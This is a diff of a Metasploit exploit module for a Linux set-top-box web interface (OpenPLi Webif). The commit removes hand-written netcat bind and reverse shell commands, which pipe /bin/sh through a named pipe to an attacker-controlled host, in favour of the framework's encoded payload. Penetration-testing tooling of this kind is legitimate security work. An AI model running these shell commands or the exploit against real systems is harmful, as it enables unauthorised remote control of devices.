File tree Expand file tree Collapse file tree 1 file changed +3
-9
lines changed
modules/exploits/linux/http Expand file tree Collapse file tree 1 file changed +3
-9
lines changed Original file line number Diff line number Diff line change @@ -39,6 +39,7 @@ def initialize(info = {})
39
39
[ 'URL' , 'http://openpli.org/wiki/Webif' ] ,
40
40
[ 'URL' , 'http://www.s3cur1ty.de/m1adv2013-007' ] ,
41
41
[ 'EDB' , '24498' ] ,
42
+ [ 'BID' , '57943' ] ,
42
43
[ 'OSVDB' , '90230' ]
43
44
] ,
44
45
'Platform' => [ 'unix' , 'linux' ] ,
@@ -51,7 +52,7 @@ def initialize(info = {})
51
52
'Compat' =>
52
53
{
53
54
'PayloadType' => 'cmd' ,
54
- 'RequiredCmd' => 'netcat-e generic'
55
+ 'RequiredCmd' => 'netcat generic'
55
56
}
56
57
} ,
57
58
'Targets' =>
@@ -75,14 +76,7 @@ def exploit
75
76
76
77
uri = '/cgi-bin/setConfigSettings'
77
78
78
- if payl =~ /bind/
79
- cmd = Rex ::Text . uri_encode ( "mknod /tmp/backpipe p; nc -l -p #{ lport } 0</tmp/backpipe | /bin/sh 1>/tmp/backpipe" )
80
- elsif payl =~ /reverse/
81
- cmd = Rex ::Text . uri_encode ( "mknod /tmp/backpipe p; nc #{ lhost } #{ lport } 0</tmp/backpipe | /bin/sh 1>/tmp/backpipe" )
82
- else
83
- #this is for typical command execution ... cmd/unix/generic
84
- cmd = Rex ::Text . uri_encode ( payload . encoded )
85
- end
79
+ cmd = Rex ::Text . uri_encode ( payload . encoded )
86
80
87
81
vprint_status ( "#{ rhost } :#{ rport } - Sending remote command ... \n Command: #{ cmd } " )
88
82
vprint_status ( "#{ rhost } :#{ rport } - Blind Exploitation - unknown Exploitation state\n " )
You can’t perform that action at this time.
0 commit comments